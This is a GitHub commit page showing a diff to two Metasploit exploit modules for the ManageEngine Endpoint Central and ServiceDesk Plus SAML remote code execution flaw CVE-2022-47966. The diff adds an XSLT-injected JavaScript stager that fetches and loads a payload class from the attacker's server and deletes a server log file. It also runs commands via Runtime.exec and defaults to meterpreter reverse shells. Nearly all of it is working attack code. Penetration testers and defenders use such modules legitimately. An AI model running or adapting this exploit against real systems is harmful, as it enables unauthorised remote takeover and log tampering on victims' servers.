Skip to content

Commit 1e8e6d3

Browse files
Land rapid7#18796, Enhance ManageEngine Endpoint Central and ServiceDesk Plus CVE-2022-47966
2 parents 9b2b042 + 39af0bf commit 1e8e6d3

File tree

2 files changed

+115
-46
lines changed

2 files changed

+115
-46
lines changed

modules/exploits/multi/http/manageengine_servicedesk_plus_saml_rce_cve_2022_47966.rb

Lines changed: 12 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -46,7 +46,7 @@ def initialize(info = {})
4646
'Type' => :java,
4747
'Platform' => 'java',
4848
'Arch' => ARCH_JAVA,
49-
'DefaultOptions' => { 'Payload' => 'java/shell_reverse_tcp' }
49+
'DefaultOptions' => { 'Payload' => 'java/meterpreter/reverse_tcp' }
5050
},
5151
],
5252
[
@@ -65,7 +65,7 @@ def initialize(info = {})
6565
'Platform' => 'win',
6666
'Arch' => ARCH_CMD,
6767
'Type' => :windows_command,
68-
'DefaultOptions' => { 'Payload' => 'cmd/windows/powershell/meterpreter/reverse_tcp' },
68+
'DefaultOptions' => { 'Payload' => 'cmd/windows/https/x64/meterpreter/reverse_tcp' },
6969
'Payload' => { 'BadChars' => "\x27" }
7070
}
7171
],
@@ -166,15 +166,15 @@ def trigger_urlclassloader
166166
# Here we construct a XSLT transform to load a Java payload via URLClassLoader.
167167
url = get_uri
168168

169-
vars = Rex::RandomIdentifier::Generator.new
169+
vars = Rex::RandomIdentifier::Generator.new({ language: :java })
170170

171171
# stager for javascript engine
172172
java_stager = <<~EOS
173173
var #{vars[:file]} = Java.type(&quot;java.io.File&quot;);
174174
new #{vars[:file]}(&quot;../logs/serverout0.txt&quot;).delete();
175175
var #{vars[:str_arr]} = Java.type(&quot;java.lang.String[]&quot;);
176-
var c = new java.net.URLClassLoader([new java.net.URL(&quot;#{url}&quot;)]).loadClass(&quot;metasploit.Payload&quot;);
177-
c.getMethod(&quot;main&quot;, java.lang.Class.forName(&quot;[Ljava.lang.String;&quot;)).invoke(null, [new #{vars[:str_arr]}(1)]);
176+
var #{vars[:c]} = new java.net.URLClassLoader([new java.net.URL(&quot;#{url}&quot;)]).loadClass(&quot;metasploit.Payload&quot;);
177+
#{vars[:c]}.getMethod(&quot;main&quot;, java.lang.Class.forName(&quot;[Ljava.lang.String;&quot;)).invoke(null, [new #{vars[:str_arr]}(1)]);
178178
EOS
179179

180180
transform = <<~EOT
@@ -186,10 +186,10 @@ def trigger_urlclassloader
186186
xmlns:se="http://xml.apache.org/xalan/java/javax.script.ScriptEngine"
187187
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
188188
<xsl:template match="/">
189-
<xsl:variable name="engineobject" select="sem:new()"/>
190-
<xsl:variable name="jsobject" select="sem:getEngineByName($engineobject,'javascript')"/>
191-
<xsl:variable name="out" select="se:eval($jsobject,'#{java_stager}')"/>
192-
<xsl:value-of select="$out"/>
189+
<xsl:variable name="#{vars[:engineobject]}" select="sem:new()"/>
190+
<xsl:variable name="#{vars[:jsobject]}" select="sem:getEngineByName($#{vars[:engineobject]},'javascript')"/>
191+
<xsl:variable name="#{vars[:out]}" select="se:eval($#{vars[:jsobject]},'#{java_stager}')"/>
192+
<xsl:value-of select="$#{vars[:out]}"/>
193193
</xsl:template>
194194
</xsl:stylesheet>
195195
</ds:Transform>
@@ -200,15 +200,15 @@ def trigger_urlclassloader
200200

201201
def execute_command(cmd, _opts = {})
202202
case target['Type']
203-
when :windows_dropper
203+
when :windows_dropper, :windows_command
204204
cmd = "cmd /c #{cmd}"
205205
when :unix_cmd, :linux_dropper
206206
cmd = cmd.gsub(' ') { '${IFS}' }
207207
cmd = "bash -c #{cmd}"
208208
end
209209
cmd = cmd.encode(xml: :attr).gsub('"', '')
210210

211-
vars = Rex::RandomIdentifier::Generator.new
211+
vars = Rex::RandomIdentifier::Generator.new({ language: :java })
212212

213213
transform = <<~EOT
214214
<ds:Transforms>
@@ -285,6 +285,7 @@ def send_transform(transform)
285285
res
286286
end
287287

288+
# handle http requests from java stagers and cmd stagers differently
288289
def on_request_uri(cli, request)
289290
case target['Type']
290291
when :java

modules/exploits/windows/http/manageengine_endpoint_central_saml_rce_cve_2022_47966.rb

Lines changed: 103 additions & 35 deletions
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote
77

88
include Msf::Exploit::Remote::HttpClient
99
include Msf::Exploit::CmdStager
10+
include Msf::Exploit::Remote::Java::HTTP::ClassLoader
1011
prepend Msf::Exploit::Remote::AutoCheck
1112

1213
def initialize(info = {})
@@ -37,18 +38,25 @@ def initialize(info = {})
3738
['URL', 'https://github.com/horizon3ai/CVE-2022-47966'],
3839
['URL', 'https://attackerkb.com/topics/gvs0Gv8BID/cve-2022-47966/rapid7-analysis']
3940
],
40-
'Platform' => [ 'win' ],
41-
'Payload' => {
42-
'BadChars' => "\x27"
43-
},
41+
'Platform' => ['win', 'java'],
4442
'Targets' => [
43+
[
44+
'Java (in-memory)',
45+
{
46+
'Type' => :java,
47+
'Platform' => 'java',
48+
'Arch' => ARCH_JAVA,
49+
'DefaultOptions' => { 'Payload' => 'java/meterpreter/reverse_tcp' }
50+
},
51+
],
4552
[
4653
'Windows EXE Dropper',
4754
{
4855
'Platform' => 'win',
4956
'Arch' => [ARCH_X86, ARCH_X64],
5057
'Type' => :windows_dropper,
51-
'DefaultOptions' => { 'Payload' => 'windows/x64/meterpreter/reverse_tcp' }
58+
'DefaultOptions' => { 'Payload' => 'windows/x64/meterpreter/reverse_tcp' },
59+
'Payload' => { 'BadChars' => "\x27" }
5260
}
5361
],
5462
[
@@ -57,15 +65,16 @@ def initialize(info = {})
5765
'Platform' => 'win',
5866
'Arch' => ARCH_CMD,
5967
'Type' => :windows_command,
60-
'DefaultOptions' => { 'Payload' => 'cmd/windows/powershell/meterpreter/reverse_tcp' }
68+
'DefaultOptions' => { 'Payload' => 'cmd/windows/https/x64/meterpreter/reverse_tcp' },
69+
'Payload' => { 'BadChars' => "\x27" }
6170
}
6271
]
6372
],
6473
'DefaultOptions' => {
65-
'RPORT' => 8443,
66-
'SSL' => true
74+
'RPORT' => 8020,
75+
'SSL' => false
6776
},
68-
'DefaultTarget' => 1,
77+
'DefaultTarget' => 0,
6978
'DisclosureDate' => '2023-01-10',
7079
'Notes' => {
7180
'Stability' => [CRASH_SAFE,],
@@ -119,27 +128,85 @@ def encode_begin(real_payload, reqs)
119128
def exploit
120129
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
121130
case target['Type']
131+
when :java
132+
# Start the HTTP server to serve the payload
133+
start_service
134+
# Trigger a loadClass request via java.net.URLClassLoader
135+
trigger_urlclassloader
136+
# Handle the payload
137+
handler
122138
when :windows_command
123139
execute_command(payload.encoded)
124140
when :windows_dropper
125141
execute_cmdstager(delay: datastore['DELAY'])
126142
end
127143
end
128144

145+
def trigger_urlclassloader
146+
# Here we construct a XSLT transform to load a Java payload via URLClassLoader.
147+
url = get_uri
148+
149+
vars = Rex::RandomIdentifier::Generator.new({ language: :java })
150+
151+
# stager for javascript engine
152+
java_stager = <<~EOS
153+
var #{vars[:file]} = Java.type(&quot;java.io.File&quot;);
154+
new #{vars[:file]}(&quot;../logs/serverout0.txt&quot;).delete();
155+
var #{vars[:str_arr]} = Java.type(&quot;java.lang.String[]&quot;);
156+
var #{vars[:c]} = new java.net.URLClassLoader([new java.net.URL(&quot;#{url}&quot;)]).loadClass(&quot;metasploit.Payload&quot;);
157+
#{vars[:c]}.getMethod(&quot;main&quot;, java.lang.Class.forName(&quot;[Ljava.lang.String;&quot;)).invoke(null, [new #{vars[:str_arr]}(1)]);
158+
EOS
159+
160+
transform = <<~EOT
161+
<ds:Transforms>
162+
<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
163+
<ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
164+
<xsl:stylesheet version="1.0"
165+
xmlns:sem="http://xml.apache.org/xalan/java/javax.script.ScriptEngineManager"
166+
xmlns:se="http://xml.apache.org/xalan/java/javax.script.ScriptEngine"
167+
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
168+
<xsl:template match="/">
169+
<xsl:variable name="#{vars[:engineobject]}" select="sem:new()"/>
170+
<xsl:variable name="#{vars[:jsobject]}" select="sem:getEngineByName($#{vars[:engineobject]},'javascript')"/>
171+
<xsl:variable name="#{vars[:out]}" select="se:eval($#{vars[:jsobject]},'#{java_stager}')"/>
172+
<xsl:value-of select="$#{vars[:out]}"/>
173+
</xsl:template>
174+
</xsl:stylesheet>
175+
</ds:Transform>
176+
</ds:Transforms>
177+
EOT
178+
send_transform(transform)
179+
end
180+
129181
def execute_command(cmd, _opts = {})
130-
if target['Type'] == :windows_dropper
131-
cmd = "cmd /c #{cmd}"
132-
end
182+
cmd = "cmd /c #{cmd}"
133183
cmd = cmd.encode(xml: :attr).gsub('"', '')
134184

185+
vars = Rex::RandomIdentifier::Generator.new({ language: :java })
186+
187+
transform = <<~EOT
188+
<ds:Transforms>
189+
<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
190+
<ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
191+
<xsl:stylesheet version="1.0"
192+
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"
193+
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
194+
<xsl:template match="/">
195+
<xsl:variable name="#{vars[:rt_obj]}" select="rt:getRuntime()"/>
196+
<xsl:variable name="#{vars[:exec]}" select="rt:exec($#{vars[:rt_obj]},'#{cmd}')"/>
197+
<xsl:variable name="#{vars[:out]}" select="ob:toString($#{vars[:exec]})"/>
198+
<xsl:value-of select="$#{vars[:out]}"/>
199+
</xsl:template>
200+
</xsl:stylesheet>
201+
</ds:Transform>
202+
</ds:Transforms>
203+
EOT
204+
205+
send_transform(transform)
206+
end
207+
208+
def send_transform(transform)
135209
assertion_id = "_#{SecureRandom.uuid}"
136-
# Randomize variable names and make sure they are all different using a Set
137-
vars = Set.new
138-
loop do
139-
vars << Rex::Text.rand_text_alpha_lower(5..8)
140-
break unless vars.size < 3
141-
end
142-
vars = vars.to_a
143210
saml = <<~EOS
144211
<?xml version="1.0" encoding="UTF-8"?>
145212
<samlp:Response
@@ -157,21 +224,7 @@ def execute_command(cmd, _opts = {})
157224
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
158225
<ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
159226
<ds:Reference URI="##{assertion_id}">
160-
<ds:Transforms>
161-
<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
162-
<ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
163-
<xsl:stylesheet version="1.0"
164-
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"
165-
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
166-
<xsl:template match="/">
167-
<xsl:variable name="#{vars[0]}" select="rt:getRuntime()"/>
168-
<xsl:variable name="#{vars[1]}" select="rt:exec($#{vars[0]},'#{cmd}')"/>
169-
<xsl:variable name="#{vars[2]}" select="ob:toString($#{vars[1]})"/>
170-
<xsl:value-of select="$#{vars[2]}"/>
171-
</xsl:template>
172-
</xsl:stylesheet>
173-
</ds:Transform>
174-
</ds:Transforms>
227+
#{transform}
175228
<ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
176229
<ds:DigestValue>#{Rex::Text.encode_base64(SecureRandom.random_bytes(32))}</ds:DigestValue>
177230
</ds:Reference>
@@ -191,7 +244,10 @@ def execute_command(cmd, _opts = {})
191244
}
192245
})
193246

194-
unless res&.code == 200
247+
# Java payload returns a nil response on successful execution of payload
248+
if target['Type'] == :java && res.nil?
249+
print_status('Exploit completed.')
250+
elsif res&.code != 200
195251
lines = res.get_html_document.xpath('//body').text.lines.reject { |l| l.strip.empty? }.map(&:strip)
196252
unless lines.any? { |l| l.include?('URL blocked as maximum access limit for the page is exceeded') }
197253
elog("Unkown error returned:\n#{lines.join("\n")}")
@@ -203,4 +259,16 @@ def execute_command(cmd, _opts = {})
203259
res
204260
end
205261

262+
# handle http requests from java stagers and cmd stagers differently
263+
def on_request_uri(cli, request)
264+
case target['Type']
265+
when :java
266+
super(cli, request)
267+
else
268+
client = cli.peerhost
269+
print_status("Client #{client} requested #{request.uri}")
270+
print_status("Sending payload to #{client}")
271+
send_response(cli, exe)
272+
end
273+
end
206274
end

0 commit comments

Comments
 (0)